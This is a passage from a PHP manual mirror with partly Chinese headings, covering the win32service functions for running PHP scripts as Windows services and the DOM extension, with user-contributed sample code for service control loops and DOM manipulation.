The checkpoint is only valid when the status is one of WIN32_SERVICE_STOP_PENDING, WIN32_SERVICE_START_PENDING, WIN32_SERVICE_CONTINUE_PENDING or WIN32_SERVICE_PAUSE_PENDING.

返回值

没有返回值。

Prior to version 1.0.0, 成功时返回 WIN32_NO_ERROR，参数错误时返回 false，或失败时返回一个 Win32 错误码。

错误／异常

Prior to version 1.0.0, if the SAPI is not "cli", this function emits an E_ERROR level error.

As of version 1.0.0, will throw a Win32ServiceException if SAPI is not "cli"

更新日志

版本 | 说明
PECL win32service 1.0.0 | Throws a ValueError on invalid data in parameters, previously false was returned.
PECL win32service 1.0.0 | Throws a Win32ServiceException on error, previously a Win32 Error Code was returned.
PECL win32service 1.0.0 | The return type is now void, previously it was mixed.
PECL win32service 0.2.0 | This function works only in the "cli" SAPI.

参见

  • win32_start_service_ctrl_dispatcher() - Registers the script with the SCM, so that it can act as the service with the given name
  • win32_get_last_control_message() - Returns the last control message that was sent to this service
  • win32_set_service_exit_mode() - Define or return the exit mode for the current running service
  • win32_set_service_exit_code() - Define or return the exit code for the current running service
  • Win32Service Service Status Constants

User Contributed Notes

paul_nelson57071 at yahoo dot com 13-May-2010 11:04
So after much searching I finally found all the peices to make a working windows service & server including:
- Installing & Uninstalling the service
- Starting & Stopping the Service
- Actually running a basic Server
- Responding to windows Service to Stop/Start/Restart

I hope you find this useful! I did this using PHP 5.2 and the PECL library for 5.2 (PHP 5.3 at the time does not have a PECL Library compiled for it)

<?php
    //Service Settings
    $Service = 'MyServiceFinal';
    $Display = 'My PHP Service';

    //Server Settings
    $host = '127.0.0.1';        //Bind to IP #
    $port = 23;                            //On port #
    $max = 20;                            //Maximum Clients

    //Exit if no start-up argument is passed
    if (!isset($argv[1])){ShowHelp(); exit;}

    //Create Windows Service
    if ($argv[1] == 'install') {
    $x = win32_create_service(array(
        'service' => $Service,
        'display' => $Service,
        'params' => __file__ . ' run',
        'path' => 'c:\\php\\php.exe',
    ));
    debug_zval_dump($x);
    echo "Service Installed\n\n";
    exit;

  //Remove Windows Service
    } else if ($argv[1] == 'uninstall') {
        $x = win32_delete_service($Service);
        debug_zval_dump($x);
        echo "Service Removed\n\n";
        exit;

  //Start Windows Service
    } elseif($argv[1] == "start") {
      $x = win32_start_service($Service);
      debug_zval_dump($x);
      echo "Service Started\n\n";
      exit;

    //Stop Windows Service
    } elseif($argv[1] == "stop") {
      $x = win32_stop_service($Service);
      debug_zval_dump($x);
      echo "Service Stopped\n\n";
      exit;

    //Unkown Command
    } else if ($argv[1] != 'run') {
        ShowHelp(); exit();
    }

//Tell windows the service has started...
if (!win32_start_service_ctrl_dispatcher($Service)) die("Could not connect to service : $Service");
win32_set_service_status(WIN32_SERVICE_RUNNING);

// No timeouts, flush content immediatly
set_time_limit(0);
ob_implicit_flush();

//Server Loop
while (1) {
    usleep(500);

    //Handle Windows Service Request
    switch (win32_get_last_control_message()) {
        case WIN32_SERVICE_CONTROL_CONTINUE: break; // Continue server routine
        case WIN32_SERVICE_CONTROL_INTERROGATE: win32_set_service_status(WIN32_NO_ERROR); break; // Respond with status
        case WIN32_SERVICE_CONTROL_STOP: win32_set_service_status(WIN32_SERVICE_STOPPED); exit; // Terminate script
        default: win32_set_service_status(WIN32_ERROR_CALL_NOT_IMPLEMENTED); // Add more cases to handle other service calls
    }
    //Acutal Server Code

}

//Clean up and Exit
win32_set_service_status(WIN32_SERVICE_STOPPED);
exit;

//*************** FUNCTIONS ***************
function ShowHelp(){
    echo "Usage:
    install:\t installs servce
    uninstall:\t deletes service
    start:\t\t Start the windows service
    stop:\t\t Stops the windows service
    run:\t\t called by CMS to run the service

For information on code numbers type 'net helpmsg xxxx'
EXAMPEL: 'net helpmsg 1072'

    ";
}
?>
m dot hald at surfto dot ch 12-May-2008 04:16
On my Machine (Win XP SP2) the function "win32_get_last_control_message" never returns 4 so i will have to reply to 0 also.

finally after mixing several examples i now have a version working woithout filling my event log with errors:

<?php

/*
 * PHP SAMPLE TEMPLATE
 */

/*
 * APP MAIN FUNCTION
 * Called each second after the function last time finished
 * Should not take longer than max 20 seconds to execute
 * ELSE you should call NTServiceResponder(); at least each 20 secs
 * WARNING: NTServiceResponder will exit; if there was a STOP request
 */
function Service_Main()
{
    // YOU APPLICATION CODE HERE !!!
    sleep(1); // dummy something
}

/********************************************************************
 *
 * SERVICE CONTROLLING
 *
 ********************************************************************/

$SERVICE_NAME = "phptestservice";
$SERVICE_DISPLAY = "Test Service with PHP";

// so u can get: $SERVICE_PATH_PARTS["dirname"] $SERVICE_PATH_PARTS["basename"]  $SERVICE_PATH_PARTS["extension"]
$SERVICE_PATH_PARTS = pathinfo(__FILE__);

$SERVICE_PARAMS = " run";

    if (!isset($argv[1]))
    {
        die("this application need to be installed as a service.\n run with param install");
    }

    if ($argv[1] == 'install')
    {
        $x = win32_create_service(array(
                                        'service' => $SERVICE_NAME,
                                        'display' => $SERVICE_DISPLAY,
                                        'params' =>  __FILE__ . $SERVICE_PARAMS,
                                        //'path' =>  $SERVICE_PATH_PARTS["dirname"] . '\php.exe'
                                        ));
        debug_zval_dump($x);
        exit;
    }
    else if ($argv[1] == 'uninstall')
    {
        $x = win32_delete_service('dummyphp');
        debug_zval_dump($x);
        exit;
    }
    else if ($argv[1] != 'run')
    {
        die("bogus args, needs to run as service");
    }

    // Connect to service dispatcher and notify that startup was successful
    if (!win32_start_service_ctrl_dispatcher($SERVICE_NAME)) die('Could not connect to service :'.$SERVICE_NAME);
    win32_set_service_status(WIN32_SERVICE_RUNNING);

    // Main Server Loop
    while (1)
    {
        NTServiceResponder();

        // Main script goes here
        Service_Main();

        sleep(1); // at least 1 sec delay per loop
    }
    win32_set_service_status(WIN32_SERVICE_STOPPED);

/*
 * Response to NTServiceRequests
 */
function NTServiceResponder()
{

    switch (win32_get_last_control_message())
    {
    case 0: // PATCH for: seems never to go to 4 (WIN32_SERVICE_CONTROL_INTERROGATE)
        win32_set_service_status(WIN32_SERVICE_RUNNING);
        return TRUE;
        break;
    case WIN32_SERVICE_CONTROL_CONTINUE:
        return TRUE; // "Continue"
    case WIN32_SERVICE_CONTROL_INTERROGATE:
        win32_set_service_status(WIN32_SERVICE_RUNNING);
        return TRUE; // Respond with status
    case WIN32_SERVICE_CONTROL_STOP:
        win32_set_service_status(WIN32_SERVICE_STOPPED);
        exit; // Terminate script
    default:
        win32_set_service_status(WIN32_ERROR_CALL_NOT_IMPLEMENTED); // Add more cases to handle other service calls
    }

    return FALSE;
}

?>


Registers the script with the SCM, so that it can act as the service with the given name

  • ? win32_set_service_status
  • win32_start_service ?
  • PHP Manual
  • win32service 函数
  • Registers the script with the SCM, so that it can act as the service with the given name

win32_start_service_ctrl_dispatcher

(PECL win32service >=0.1.0)

win32_start_service_ctrl_dispatcher — Registers the script with the SCM, so that it can act as the service with the given name

说明

win32_start_service_ctrl_dispatcher(string $name, bool $gracefulMode = true): void

When launched via the Service Control Manager, a service process is required to "check-in" with it to establish service monitoring and communication facilities. This function performs the check-in by spawning a thread to handle the lower-level communication with the service control manager.

Once started, the service process should do 2 things. The first is to tell the Service Control Manager that the service is running. This is achieved by calling win32_set_service_status() with the WIN32_SERVICE_RUNNING constant. If you need to perform some lengthy process before the service is actually running, then you can use the WIN32_SERVICE_START_PENDING constant. The second is to continue to check-in with the service control manager so that it can determine if it should terminate. This is achieved by periodically calling win32_get_last_control_message() and handling the return code appropriately.

Caution

Since version 0.2.0, this function work only in "cli" SAPI. On other SAPI this function is disabled.

参数

name

The short-name of the service, as registered by win32_create_service().

gracefulMode

true for exit graceful. false for exit with error. See win32_set_service_exit_mode() for more details.

返回值

没有返回值。

Prior to version 1.0.0, 成功时返回 WIN32_NO_ERROR，参数错误时返回 false，或失败时返回一个 Win32 错误码。

错误／异常

Prior to version 1.0.0, if the SAPI is not "cli", this function emits an E_ERROR level error.

As of version 1.0.0, will throw a Win32ServiceException if SAPI is not "cli"

更新日志

版本 | 说明
PECL win32service 1.0.0 | Throws a ValueError on invalid data in parameters, previously false was returned.
PECL win32service 1.0.0 | Throws a Win32ServiceException on error, previously a Win32 Error Code was returned.
PECL win32service 1.0.0 | The return type is now void, previously it was mixed.
PECL win32service 0.4.0 | The parameter gracefulMode has been added.
PECL win32service 0.2.0 | This function works only in the "cli" SAPI.

示例

Example #1 A win32_start_service_ctrl_dispatcher() example

Check if the service is runnig under the SCM.

<?php
if (!win32_start_service_ctrl_dispatcher('dummyphp')) {
die("I'm probably not running under the service control manager");
}

win32_set_service_status(WIN32_SERVICE_START_PENDING);

// Some lengthy process to get this service up and running.

win32_set_service_status(WIN32_SERVICE_RUNNING);

while (WIN32_SERVICE_CONTROL_STOP != win32_get_last_control_message()) {
# do some work here, trying not to take more than around 30 seconds
# before coming back into the loop again
}
?>

参见

  • win32_set_service_status() - Update the service status
  • win32_get_last_control_message() - Returns the last control message that was sent to this service
  • win32_set_service_exit_mode() - Define or return the exit mode for the current running service
  • win32_set_service_exit_code() - Define or return the exit code for the current running service
  • Win32 Error Codes

User Contributed Notes

andrea 09-Oct-2009 03:07
Insert value of params between " if the string have a space:

<?php
// First you need to create a service, you only need to do this once
/*
win32_create_service(array(
    'service' => 'myphpservice',
    'display' => 'My PHP Service',
    'params' => '"c:\\my folder\myphpservice.php"',
    'path' => 'c:\\PHP\\php.exe'));
*/
?>
dylan at nopower dot org 14-Jul-2007 07:59
<?php
// First you need to create a service, you only need to do this once
/*
win32_create_service(array(
    'service' => 'myphpservice',
    'display' => 'My PHP Service',
    'params' => 'c:\\myphpservice.php',
    'path' => 'c:\\PHP\\php.exe'));
*/

$myservicename = 'myphpservice';

// Connect to service dispatcher and notify that startup was successful
if (!win32_start_service_ctrl_dispatcher($myservicename)) die('Could not connect to service :'.$myservicename);
win32_set_service_status(WIN32_SERVICE_RUNNING);

// Main Server Loop
while (1) {
    switch (win32_get_last_control_message()) {
        case WIN32_SERVICE_CONTROL_CONTINUE: break; // Continue server routine
        case WIN32_SERVICE_CONTROL_INTERROGATE: win32_set_service_status(WIN32_NO_ERROR); break; // Respond with status
        case WIN32_SERVICE_CONTROL_STOP: win32_set_service_status(WIN32_SERVICE_STOPPED); exit; // Terminate script
        default: win32_set_service_status(WIN32_ERROR_CALL_NOT_IMPLEMENTED); // Add more cases to handle other service calls
    }

    // Main script goes here

    sleep(10); // Run every 10 seconds
}
win32_set_service_status(WIN32_SERVICE_STOPPED);
?>
Guibod 10-Jul-2007 05:41
Don't try to call "win32_start_service_ctrl_dispatcher" too late in your code. You'd trigger a #2186 error : "The service is not responding to the control function." (from commande line) or a #1053 error : "The service did not respond to the start or control request in a timely fashion." (from services GUI).

Try not to load a bunch of PEAR classes before to register php script as Service like I did.

Another good hint, to get a verbose version of the return code, you can call "NET HELPMSG ###" from command line where ### is your error code.


Starts a service

  • ? win32_start_service_ctrl_dispatcher
  • win32_stop_service ?
  • PHP Manual
  • win32service 函数
  • Starts a service

win32_start_service

(PECL win32service >=0.1.0)

win32_start_service — Starts a service

说明

win32_start_service(string $servicename, string $machine = ?): void

Attempts to start the named service. Requires administrative privileges or an account with appropriate rights set in the service's ACL.

参数

servicename

The short name of the service.

machine

Optional machine name. If omitted, the local machine is used.

返回值

没有返回值。

Prior to version 1.0.0, 成功时返回 WIN32_NO_ERROR，参数错误时返回 false，或失败时返回一个 Win32 错误码。

错误／异常

A ValueError is thrown if the value of servicename parameter is empty.

A Win32ServiceException is thrown on error.

更新日志

版本 | 说明
PECL win32service 1.0.0 | Throws a ValueError on invalid data in parameters, previously false was returned.
PECL win32service 1.0.0 | Throws a Win32ServiceException on error, previously a Win32 Error Code was returned.
PECL win32service 1.0.0 | The return type is now void, previously it was mixed.
PECL win32service 0.3.0 | This function does not longer require an administrator account if ACL is set for another account.

参见

  • win32_stop_service() - Stops a service
  • win32_pause_service() - Pauses a service
  • win32_continue_service() - Resumes a paused service
  • win32_send_custom_control() - Send a custom control to the service
  • Win32 Error Codes

User Contributed Notes

There are no user contributed notes for this page.


Stops a service

  • ? win32_start_service
  • XML 操作 ?
  • PHP Manual
  • win32service 函数
  • Stops a service

win32_stop_service

(PECL win32service >=0.1.0)

win32_stop_service — Stops a service

说明

win32_stop_service(string $servicename, string $machine = ?): void

Stops a named service. Requires administrative privileges or an account with appropriate rights set in the service's ACL.

参数

servicename

The short name of the service.

machine

Optional machine name. If omitted, the local machine is used.

返回值

没有返回值。

Prior to version 1.0.0, 成功时返回 WIN32_NO_ERROR，参数错误时返回 false，或失败时返回一个 Win32 错误码。

错误／异常

A ValueError is thrown if the value of servicename parameter is empty.

A Win32ServiceException is thrown on error.

更新日志

版本 | 说明
PECL win32service 1.0.0 | Throws a ValueError on invalid data in parameters, previously false was returned.
PECL win32service 1.0.0 | Throws a Win32ServiceException on error, previously a Win32 Error Code was returned.
PECL win32service 1.0.0 | The return type is now void, previously it was mixed.
PECL win32service 0.3.0 | This function does not longer require an administrator account if ACL is set for another account.

参见

  • win32_start_service() - Starts a service
  • win32_pause_service() - Pauses a service
  • win32_continue_service() - Resumes a paused service
  • win32_send_custom_control() - Send a custom control to the service
  • Win32 Error Codes

User Contributed Notes

There are no user contributed notes for this page.


XML 操作

  • DOM — Document Object Model
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • DOMAttr — The DOMAttr class
    • DOMCdataSection — The DOMCdataSection class
    • DOMCharacterData — The DOMCharacterData class
    • DOMChildNode — The DOMChildNode interface
    • DOMComment — The DOMComment class
    • DOMDocument — The DOMDocument class
    • DOMDocumentFragment — The DOMDocumentFragment class
    • DOMDocumentType — The DOMDocumentType class
    • DOMElement — The DOMElement class
    • DOMEntity — The DOMEntity class
    • DOMEntityReference — The DOMEntityReference class
    • DOMException — The DOMException class
    • DOMImplementation — The DOMImplementation class
    • DOMNamedNodeMap — The DOMNamedNodeMap class
    • DOMNode — The DOMNode class
    • DOMNodeList — The DOMNodeList class
    • DOMNotation — The DOMNotation class
    • DOMParentNode — The DOMParentNode interface
    • DOMProcessingInstruction — The DOMProcessingInstruction class
    • DOMText — The DOMText class
    • DOMXPath — The DOMXPath class
    • DOM 函数
  • libxml
    • 简介
    • 安装/配置
    • 预定义常量
    • libXMLError — The libXMLError class
    • libxml 函数
  • SimpleXML
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • SimpleXMLElement — The SimpleXMLElement class
    • SimpleXMLIterator — The SimpleXMLIterator class
    • SimpleXML 函数
  • WDDX
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • WDDX 函数
  • XMLDiff — XML diff and merge
    • 简介
    • 安装/配置
    • XMLDiff\Base — The XMLDiff\Base class
    • XMLDiff\DOM — The XMLDiff\DOM class
    • XMLDiff\Memory — The XMLDiff\Memory class
    • XMLDiff\File — The XMLDiff\File class
  • XML 解析器
    • 简介
    • 安装/配置
    • 预定义常量
    • 事件处理程序
    • 大写转换
    • 错误代码
    • 字符编码
    • 示例
    • XML 解析器函数
    • XMLParser — XMLParser 类
  • XMLReader
    • 简介
    • 安装/配置
    • XMLReader — The XMLReader class
  • XMLWriter
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • XMLWriter — The XMLWriter class
  • XSL
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • XSLTProcessor — The XSLTProcessor class

User Contributed Notes

There are no user contributed notes for this page.


Document Object Model

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
  • DOMAttr — The DOMAttr class
    • DOMAttr::__construct — Creates a new DOMAttr object
    • DOMAttr::isId — Checks if attribute is a defined ID
  • DOMCdataSection — The DOMCdataSection class
    • DOMCdataSection::__construct — Constructs a new DOMCdataSection object
  • DOMCharacterData — The DOMCharacterData class
    • DOMCharacterData::after — Adds nodes after the character data
    • DOMCharacterData::appendData — Append the string to the end of the character data of the node
    • DOMCharacterData::before — Adds nodes before the node
    • DOMCharacterData::deleteData — Remove a range of characters from the node
    • DOMCharacterData::insertData — Insert a string at the specified 16-bit unit offset
    • DOMCharacterData::remove — Removes the character data
    • DOMCharacterData::replaceData — Replace a substring within the DOMCharacterData node
    • DOMCharacterData::replaceWith — Replaces the character data with new nodes
    • DOMCharacterData::substringData — Extracts a range of data from the node
  • DOMChildNode — The DOMChildNode interface
    • DOMChildNode::after — Adds nodes after the node
    • DOMChildNode::before — Adds nodes before the node
    • DOMChildNode::remove — Removes the node
    • DOMChildNode::replaceWith — Replaces the node with new nodes
  • DOMComment — The DOMComment class
    • DOMComment::__construct — Creates a new DOMComment object
  • DOMDocument — The DOMDocument class
    • DOMDocument::adoptNode — Transfer a node from another document
    • DOMDocument::append — Appends nodes after the last child node
    • DOMDocument::__construct — Creates a new DOMDocument object
    • DOMDocument::createAttribute — Create new attribute
    • DOMDocument::createAttributeNS — Create new attribute node with an associated namespace
    • DOMDocument::createCDATASection — Create new cdata node
    • DOMDocument::createComment — Create new comment node
    • DOMDocument::createDocumentFragment — Create new document fragment
    • DOMDocument::createElement — Create new element node
    • DOMDocument::createElementNS — Create new element node with an associated namespace
    • DOMDocument::createEntityReference — Create new entity reference node
    • DOMDocument::createProcessingInstruction — Creates new PI node
    • DOMDocument::createTextNode — Create new text node
    • DOMDocument::getElementById — Searches for an element with a certain id
    • DOMDocument::getElementsByTagName — Searches for all elements with given local tag name
    • DOMDocument::getElementsByTagNameNS — Searches for all elements with given tag name in specified namespace
    • DOMDocument::importNode — Import node into current document
    • DOMDocument::load — Load XML from a file
    • DOMDocument::loadHTML — Load HTML from a string
    • DOMDocument::loadHTMLFile — Load HTML from a file
    • DOMDocument::loadXML — Load XML from a string
    • DOMDocument::normalizeDocument — Normalizes the document
    • DOMDocument::prepend — Prepends nodes before the first child node
    • DOMDocument::registerNodeClass — Register extended class used to create base node type
    • DOMDocument::relaxNGValidate — Performs relaxNG validation on the document
    • DOMDocument::relaxNGValidateSource — Performs relaxNG validation on the document
    • DOMDocument::replaceChildren — Replace children in document
    • DOMDocument::save — Dumps the internal XML tree back into a file
    • DOMDocument::saveHTML — Dumps the internal document into a string using HTML formatting
    • DOMDocument::saveHTMLFile — Dumps the internal document into a file using HTML formatting
    • DOMDocument::saveXML — Dumps the internal XML tree back into a string
    • DOMDocument::schemaValidate — Validates a document based on a schema. Only XML Schema 1.0 is supported.
    • DOMDocument::schemaValidateSource — Validates a document based on a schema
    • DOMDocument::validate — Validates the document based on its DTD
    • DOMDocument::xinclude — Substitutes XIncludes in a DOMDocument Object
  • DOMDocumentFragment — The DOMDocumentFragment class
    • DOMDocumentFragment::append — Appends nodes after the last child node
    • DOMDocumentFragment::appendXML — Append raw XML data
    • DOMDocumentFragment::__construct — Constructs a DOMDocumentFragment object
    • DOMDocumentFragment::prepend — Prepends nodes before the first child node
    • DOMDocumentFragment::replaceChildren — Replace children in fragment
  • DOMDocumentType — The DOMDocumentType class
  • DOMElement — The DOMElement class
    • DOMElement::after — Adds nodes after the element
    • DOMElement::append — Appends nodes after the last child node
    • DOMElement::before — Adds nodes before the element
    • DOMElement::__construct — Creates a new DOMElement object
    • DOMElement::getAttribute — Returns value of attribute
    • DOMElement::getAttributeNames — Get attribute names
    • DOMElement::getAttributeNode — Returns attribute node
    • DOMElement::getAttributeNodeNS — Returns attribute node
    • DOMElement::getAttributeNS — Returns value of attribute
    • DOMElement::getElementsByTagName — Gets elements by tagname
    • DOMElement::getElementsByTagNameNS — Get elements by namespaceURI and localName
    • DOMElement::hasAttribute — Checks to see if attribute exists
    • DOMElement::hasAttributeNS — Checks to see if attribute exists
    • DOMElement::insertAdjacentElement — Insert adjacent element
    • DOMElement::insertAdjacentText — Insert adjacent text
    • DOMElement::prepend — Prepends nodes before the first child node
    • DOMElement::remove — Removes the element
    • DOMElement::removeAttribute — Removes attribute
    • DOMElement::removeAttributeNode — Removes attribute
    • DOMElement::removeAttributeNS — Removes attribute
    • DOMElement::replaceChildren — Replace children in element
    • DOMElement::replaceWith — Replaces the element with new nodes
    • DOMElement::setAttribute — Adds new or modifies existing attribute
    • DOMElement::setAttributeNode — Adds new attribute node to element
    • DOMElement::setAttributeNodeNS — Adds new attribute node to element
    • DOMElement::setAttributeNS — Adds new attribute
    • DOMElement::setIdAttribute — Declares the attribute specified by name to be of type ID
    • DOMElement::setIdAttributeNode — Declares the attribute specified by node to be of type ID
    • DOMElement::setIdAttributeNS — Declares the attribute specified by local name and namespace URI to be of type ID
    • DOMElement::toggleAttribute — Toggle attribute
  • DOMEntity — The DOMEntity class
  • DOMEntityReference — The DOMEntityReference class
    • DOMEntityReference::__construct — Creates a new DOMEntityReference object
  • DOMException — The DOMException class
  • DOMImplementation — The DOMImplementation class
    • DOMImplementation::__construct — Creates a new DOMImplementation object
    • DOMImplementation::createDocument — Creates a DOMDocument object of the specified type with its document element
    • DOMImplementation::createDocumentType — Creates an empty DOMDocumentType object
    • DOMImplementation::hasFeature — Test if the DOM implementation implements a specific feature
  • DOMNamedNodeMap — The DOMNamedNodeMap class
    • DOMNamedNodeMap::count — Get number of nodes in the map
    • DOMNamedNodeMap::getIterator — Retrieve an external iterator
    • DOMNamedNodeMap::getNamedItem — Retrieves a node specified by name
    • DOMNamedNodeMap::getNamedItemNS — Retrieves a node specified by local name and namespace URI
    • DOMNamedNodeMap::item — Retrieves a node specified by index
  • DOMNode — The DOMNode class
    • DOMNode::appendChild — Adds new child at the end of the children
    • DOMNode::C14N — Canonicalize nodes to a string
    • DOMNode::C14NFile — Canonicalize nodes to a file
    • DOMNode::cloneNode — Clones a node
    • DOMNode::contains — Checks if node contains other node
    • DOMNode::getLineNo — Get line number for a node
    • DOMNode::getNodePath — Get an XPath for a node
    • DOMNode::getRootNode — Get root node
    • DOMNode::hasAttributes — Checks if node has attributes
    • DOMNode::hasChildNodes — Checks if node has children
    • DOMNode::insertBefore — Adds a new child before a reference node
    • DOMNode::isDefaultNamespace — Checks if the specified namespaceURI is the default namespace or not
    • DOMNode::isEqualNode — Checks that both nodes are equal
    • DOMNode::isSameNode — Indicates if two nodes are the same node
    • DOMNode::isSupported — Checks if feature is supported for specified version
    • DOMNode::lookupNamespaceURI — Gets the namespace URI of the node based on the prefix
    • DOMNode::lookupPrefix — Gets the namespace prefix of the node based on the namespace URI
    • DOMNode::normalize — Normalizes the node
    • DOMNode::removeChild — Removes child from list of children
    • DOMNode::replaceChild — Replaces a child
  • DOMNodeList — The DOMNodeList class
    • DOMNodeList::count — Get number of nodes in the list
    • DOMNodeList::getIterator — Retrieve an external iterator
    • DOMNodeList::item — Retrieves a node specified by index
  • DOMNotation — The DOMNotation class
  • DOMParentNode — The DOMParentNode interface
    • DOMParentNode::append — Appends nodes after the last child node
    • DOMParentNode::prepend — Prepends nodes before the first child node
    • DOMParentNode::replaceChildren — Replace children in node
  • DOMProcessingInstruction — The DOMProcessingInstruction class
    • DOMProcessingInstruction::__construct — Creates a new DOMProcessingInstruction object
  • DOMText — The DOMText class
    • DOMText::__construct — Creates a new DOMText object
    • DOMText::isElementContentWhitespace — Returns whether this text node contains whitespace in element content
    • DOMText::isWhitespaceInElementContent — Indicates whether this text node contains whitespace
    • DOMText::splitText — Breaks this node into two nodes at the specified offset
  • DOMXPath — The DOMXPath class
    • DOMXPath::__construct — Creates a new DOMXPath object
    • DOMXPath::evaluate — Evaluates the given XPath expression and returns a typed result if possible
    • DOMXPath::query — Evaluates the given XPath expression
    • DOMXPath::registerNamespace — Registers the namespace with the DOMXPath object
    • DOMXPath::registerPhpFunctions — Register PHP functions as XPath functions
  • DOM 函数
    • dom_import_simplexml — Gets a DOMElement object from a SimpleXMLElement object

User Contributed Notes

chealer at gmail dot com 05-Jul-2018 05:12
This extension allows editing an HTML snippet, for example removing an element:
??$dom = new DOMDocument();
??$dom->loadHTML('keep<b id="simple">REMOVE</b>');
$??remove = $dom->getElementById('simple');
??$dom->removeChild($??remove);
echo ??$dom->saveHTML();
...would output "keep".

But it does not preserve formatting. If your code defines attributes using double quotes, saveHTML() may for instance return single quotes instead.
emmanuellutula at hotmail dot com 24-Apr-2018 04:35
If you want to  use DOMDocument in your PHPUnit Tests drive on Symfony Controller (testing form)! Use like :

namespace Tests\YourBundle\Controller;

use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
use YourBundle\Controller\TextController;

class DefaultControllerTest extends WebTestCase
{
    public function testIndex()
    {
        $client = static::createClient(array(), array());

        $crawler = $client->request('GET', '/text/add');
        $this->assertTrue($crawler->filter("form")->count() > 0, "Text form exist !");

        $form = $crawler->filter("form")->form();

        $domDocument = new \DOMDocument;

        $domInput = $domDocument->createElement('input');
        $dom = $domDocument->appendChild($domInput);
        $dom->setAttribute('slug', 'bloc');

        $formInput = new \Symfony\Component\DomCrawler\Field\InputFormField($domInput);
        $form->set($formInput);

        $crawler = $client->submit($form);

        if ($client->getResponse()->isRedirect())
        {
            $crawler = $client->followRedirect(false);
        }

       // $this->assertTrue($client->getResponse()->isSuccessful());
        //$this->assertEquals(200, $client->getResponse()->getStatusCode(),
        //             "Unexpected HTTP status code for GET /backoffice/login");

    }
}
ohcc at 163 dot com 29-Oct-2015 05:31
<?php
    // this note is about how to get a DOMNode's outerHTML and innerHTML.
    $dom = new DOMDocument('1.0','UTF-8');
    $dom->loadHTML('<html><body><div><p>p1</p><p>p2</p></div></body></html>');
    $node = $dom->getElementsByTagName('div')->item(0);
    $outerHTML = $node->ownerDocument->saveHTML($node);
    $innerHTML = '';
    foreach ($node->childNodes as $childNode){
        $innerHTML .= $childNode->ownerDocument->saveHTML($childNode);
    }
    echo '<h2>outerHTML: </h2>';
    echo htmlspecialchars($outerHTML);
    echo '<h2>innerHTML: </h2>';
    echo htmlspecialchars($innerHTML);
?>
super dot puma at gmail dot com 13-May-2014 04:57
If  you want to print the DOM XML file content, you can use the next code:

$doc = new DOMDocument();
$doc->load($xmlFileName);
echo "<br>" . $doc->documentURI;
$x = $doc->documentElement;
getNodeContent($x->childNodes, 0);

function getNodeContent($nodes, $level){
    foreach ($nodes AS $item) {
    //  print "<br><br>TIPO: " . $item->nodeType ;
      printValues($item, $level);
      if ($item->nodeType == 1) { //DOMElement
          foreach ($item->attributes AS $itemAtt) {
              printValues($itemAtt, $level+3);
          }
          if($item->childNodes || $item->childNodes->lenth > 0) {
              getNodeContent($item->childNodes, $level+5);
          }
      }
    }
}

function printValues($item, $level){
    if ($item->nodeType == 1) { //DOMElement
        printLevel($level);
        print $item->nodeName . " = " . $item->nodeValue;
    }
    if ($item->nodeType == 2) { //DOMAttr
        printLevel($level);
        print $item->name . " = " . $item->value ;
    }
    if ($item->nodeType == 3) { //DOMText
      if ($item->isWhitespaceInElementContent() == false){
        printLevel($level);
        print $item->wholeText ;
      }
    }
}

function printLevel($level)
{
    print "<br>";
    if ($level == 0) {
        print "<br>";
    }
    for($i=0; $i < $level; $i++) {
        print "-";
    }
}
Drupella 16-Sep-2011 09:18
Here is a fast innerHTML function that returns the result without iterating over child nodes.

<?php
function innerHTML($el) {
  $doc = new DOMDocument();
  $doc->appendChild($doc->importNode($el, TRUE));
  $html = trim($doc->saveHTML());
  $tag = $el->nodeName;
  return preg_replace('@^<' . $tag . '[^>]*>|</' . $tag . '>$@', '', $html);
}
?>

Example
<?php
$doc = new DOMDocument();
// A corrupt HTML string
$doc->loadHTML('<HTML><A HREF="ss">asd</A>');
$body = $doc->getElementsByTagName('body')->item(0);
print htmlspecialchars(innerHTML($body));
// Prints <a href="ss">asd</a>
?>
ben_demott at hotmail dot com 23-Apr-2010 01:36
A function among several others to parse a google results page, I wrote this some time ago - google has probably changed their site since then, but I thought this might be helpful to someone.

I'm moving servers, but I will probably throw this up on my blog when I get it back up.

<?php

function googleResult($listItem) {
    // given a LIST ITEM element, this will validate, and return an array for that LI entry as an inline result from google.
    /*
     * <li class='g w0'>
     *   <h3 class='r'>
     *     <a href='the URL' class='l'>
     *       Description <em>description</em>
     *     </a>
     *   </h3>
     * </li>
     *
       UPDATE:
       This function will now look for any subcontainer that has an href, it doesn't have to be an H3
       this will make it work with a few more formatted search results.
     */

    $listItem = $listItem->childNodes;
        // Yes I don't use instanceof - I guess you'll have to deal.
    foreach($listItem as $element) {
        if(is_object($element) && get_class($element) == 'DOMElement' && $element->hasChildNodes()) {
            $hrefContainer = $element->childNodes;
            foreach($hrefContainer as $element2) {
                if(is_object($element2) && get_class($element2) == 'DOMElement' && $element2->nodeName == 'a' && $element2->hasAttribute('href')) {
                    $anchor = $element2;
                    unset($h3);
                    unset($element2);
                    break;
                } else {
                  //print __LINE__ ." :: Breaking out of loop (normal result) element is not an annchor Element='".$element2->nodeName."'\n";
                }
            }
            unset($element);
            unset($listItem);
            break;
        }
    }
    if(empty($anchor) || !is_object($anchor) || get_class($anchor) != 'DOMElement') {
        //print __LINE__ ." :: Returning false, did not locate anchor through iteration...";
        return false;
    }
    $href = $anchor->getAttribute('href');
    if(empty($href)) {
        //print __LINE__ ." :: Found anchor object, could not read href attribute / href is empty? href='$href'\n";
        return false;
    }
    $description = $anchor->childNodes;
    $urlDescription = '';
    foreach($description as $words) {
        $name =  trim($words->nodeName);
        if($name == 'em' || $name == '#text' || $name == 'b') {
            if(!empty($words->nodeValue)) {
                $text = trim($words->nodeValue);
                $urlDescription = $urlDescription . $text . ' ';
            }
        }
    }
    $urlDescription = htmlspecialchars_decode($urlDescription, ENT_QUOTES);
    $urlDescription = trim($urlDescription);
    return array('description' => $urlDescription, 'href' => $href);
}
sweisman at pobox dot com 24-Sep-2009 01:19
I had problems with the dom2array_full function by "nospam at ya dot ru". Here's my function, which works correctly for my project, and might work for yours:

<?php
function dom_to_array($root)
{
    $result = array();

    if ($root->hasAttributes())
    {
        $attrs = $root->attributes;

        foreach ($attrs as $i => $attr)
            $result[$attr->name] = $attr->value;
    }

